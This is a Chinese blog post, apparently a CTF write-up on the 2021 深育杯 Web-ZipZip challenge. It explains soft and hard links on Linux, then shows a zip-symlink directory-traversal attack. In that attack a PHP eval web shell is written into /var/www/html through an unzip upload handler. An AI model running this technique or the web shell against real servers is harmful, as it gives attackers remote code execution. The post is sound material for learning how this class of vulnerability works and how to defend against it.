软链接连接目录


什么是软链接?
<br />&nbsp; 软连接是linux中一个常用命令,<br />&nbsp; 它的功能是为某一个文件在另外一个位置建立一个同步的链接。<br />&nbsp; 软连接类似与c语言中的指针,传递的是文件的地址;<br />&nbsp; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。<br />&nbsp; 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。<br />&nbsp; 通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。<br />
软链接创建方式:
ln -s [target] [link_name]

和软链接相对应的有硬链接,和软链接相比,硬链接不仅仅是一个指向目标文件(文件夹)的快捷方式,里面同时还有具体的文件内容,相当于将文件复制了一份.但是和简单的复制文件不同的是,源文件和硬链接会同步变化,如下示例:
<br />root@VM-0-7-ubuntu:~/h0cksr1# ls ../h0cksr2<br />root@VM-0-7-ubuntu:~/h0cksr1# touch ../h0cksr2/h0cksr.txt<br />root@VM-0-7-ubuntu:~/h0cksr1# echo this_is_a_test &gt; ../h0cksr2/h0cksr.txt <br />root@VM-0-7-ubuntu:~/h0cksr1# cat ../h0cksr2/h0cksr.txt <br />this_is_a_test<br />root@VM-0-7-ubuntu:~/h0cksr1# ln -s ../h0cksr2/h0cksr.txt link1<br />root@VM-0-7-ubuntu:~/h0cksr1# ln ../h0cksr2/h0cksr.txt link2<br />root@VM-0-7-ubuntu:~/h0cksr1# ls -al<br />total 12<br />drwxr-xr-x&nbsp; 2 root root 4096 Nov 16 13:06 .<br />drwx------ 12 root root 4096 Nov 16 13:03 ..<br />lrwxrwxrwx&nbsp; 1 root root&nbsp;&nbsp; 21 Nov 16 13:06 link1 -&gt; ../h0cksr2/h0cksr.txt<br />-rw-r--r--&nbsp; 2 root root&nbsp;&nbsp; 15 Nov 16 13:05 link2<br />root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2<br />link1: symbolic link to ../h0cksr2/h0cksr.txt<br />link2: ASCII text<br />root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2<br />this_is_a_test<br />this_is_a_test<br />root@VM-0-7-ubuntu:~/h0cksr1# echo This_is_a_new_test_look_what_will_change &gt; link2<br />root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2<br />This_is_a_new_test_look_what_will_change<br />This_is_a_new_test_look_what_will_change<br />root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2<br />link1: symbolic link to ../h0cksr2/h0cksr.txt<br />link2: ASCII text<br />root@VM-0-7-ubuntu:~/h0cksr1# ls -al<br />total 12<br />drwxr-xr-x&nbsp; 2 root root 4096 Nov 16 13:06 .<br />drwx------ 12 root root 4096 Nov 16 13:03 ..<br />lrwxrwxrwx&nbsp; 1 root root&nbsp;&nbsp; 21 Nov 16 13:06 link1 -&gt; ../h0cksr2/h0cksr.txt<br />-rw-r--r--&nbsp; 2 root root&nbsp;&nbsp; 41 Nov 16 13:10 link2<br />root@VM-0-7-ubuntu:~/h0cksr1# ln /root can_not_link_to_dir<br />ln: /root: hard link not allowed for directory<br />root@VM-0-7-ubuntu:~/h0cksr1# <br />
利用软链接目录穿越:
<br />root@VM-0-7-ubuntu:~# cd /tmp<br />root@VM-0-7-ubuntu:/tmp# mkdir /root/h0cksr<br />root@VM-0-7-ubuntu:/tmp# ln -s /root/h0cksr/ link<br />root@VM-0-7-ubuntu:/tmp# ls -l<br />lrwxrwxrwx 1 root&nbsp;&nbsp; root&nbsp;&nbsp;&nbsp;&nbsp; 13 Nov 16 13:17 link -&gt; /root/h0cksr/<br />root@VM-0-7-ubuntu:/tmp# touch shell.php<br />root@VM-0-7-ubuntu:/tmp# echo '&lt;?php phpinfo();eval($_POST[0]);?&gt;' &gt; shell.php<br />root@VM-0-7-ubuntu:/tmp# cat shell.php <br />&lt;?php phpinfo();eval($_POST[0]);?&gt;<br />root@VM-0-7-ubuntu:/tmp# mv shell.php link/shell.php<br />root@VM-0-7-ubuntu:/tmp# ls link<br />shell.php<br />root@VM-0-7-ubuntu:/tmp# ls /root/h0cksr<br />shell.php<br />root@VM-0-7-ubuntu:/tmp# cat /root/h0cksr/shell.php <br />&lt;?php phpinfo();eval($_POST[0]);?&gt;<br />root@VM-0-7-ubuntu:/tmp# <br />
可以看到,文件shell.php上传到软链接后,在软链接对应的的源文件夹里面发现确实有一个shell.php,突破了只能在tmp文件夹上传文件的限制
题目参考:2021深育杯Web-ZipZip
利用场景:
文件上传路径受到限制
php<br />upload.php<br />&lt;php?<br />function unzip_file(string $zipName,string $dest){<br />//检测要解压压缩包是否存在<br />if(!is_file($zipName)){<br />return false;<br />}<br />//检测目标路径是否存在<br />if(!is_dir($dest)){<br />mkdir($dest,0777,true);<br />}<br />$zip=new ZipArchive();<br />if($zip-&gt;open($zipName))<br />$zip-&gt;extractTo($dest);<br />$zip-&gt;close();<br />return true;<br />}else{<br />return false;<br />}<br />}<br /><br />$zip_file=$_FILE['file']['tmp_name'];<br />$dest='/tmp';<br />if(strstr($zip_file,'.')=='.zip'){<br />&nbsp;&nbsp; &nbsp;unzip_file($zip_file,$dest);<br />}<br />else{<br />&nbsp;&nbsp; &nbsp;die('Just Zip');<br />}<br />?&gt;<br />
可以通过以下步骤构造zip文件上传
<br />ln -s /var/www/html/ h0cksr&nbsp;&nbsp; &nbsp;#创建指向html的软链接<br />zip --symlinks h0cr1.zip h0cksr #将软链接h0cksr打包到h0cksr1.zip中上传<br />touch shell.php<br />echo '&lt;?php eval($_POST[0]); ?&gt;' &gt; shell.php<br />mkdir h0cksr #创建一个和软链接同名的文件夹<br />mv shell.php h0cksr/shell.php #将shell.php文件上传到和软链接同名的文件夹中<br />zip -r h0cksr2.zip h0cksr #将h0cksrwe文件夹打包到h0cksr2.zip压缩包中上传<br />
按以上步骤执行后shell.php文件将会上传在/var/www/html目录中
<br />第一个压缩包h0cksr1.zip上传了一个名为h0cksr的指向/var/www/html的软链接<br />第二个压缩包h0cksr2.zip上传了一个名为h0cksr的文件夹,文件夹里面有一个shell.php文件<br />上传h0cksr文件夹后,shell.php所在位置为:/tmp/h0cksr/shell.php<br />因为/tmp/h0cksr是指向/var/www/html的软链,所以shell.php文件就上传到了/var/www/html目录下<br />










posted @   h0cksr  阅读(1398)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示